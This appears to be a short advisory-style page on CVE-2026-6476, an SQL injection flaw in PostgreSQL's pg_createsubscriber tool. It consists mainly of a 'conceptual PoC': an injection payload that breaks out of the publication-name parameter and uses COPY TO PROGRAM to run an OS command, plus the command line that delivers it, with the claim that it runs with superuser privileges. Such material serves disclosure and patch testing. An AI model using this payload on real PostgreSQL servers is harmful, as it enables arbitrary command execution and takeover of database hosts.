CVE-2026-6476 PostgreSQL pg_createsubscriber SQL注入漏洞

# Conceptual PoC for CVE-2026-6476 # The attacker needs pg_create_subscription privileges. # The vulnerability triggers when pg_createsubscriber runs. # 1. Attacker prepares malicious SQL payload # This payload attempts to create a superuser or execute OS commands. # Example payload injection into a vulnerable parameter (e.g., publication name). MALICIOUS_PAYLOAD="'; COPY (SELECT '') TO PROGRAM 'touch /tmp/pwned'; --" # 2. Execution scenario # When an administrator or the system runs pg_createsubscriber with the crafted input: # /usr/bin/pg_createsubscriber -d postgres -p 5432 -U attacker --publication="${MALICIOUS_PAYLOAD}" # 3. Result # The injected SQL is executed with superuser privileges, creating the file /tmp/pwned. # This confirms arbitrary SQL execution capability.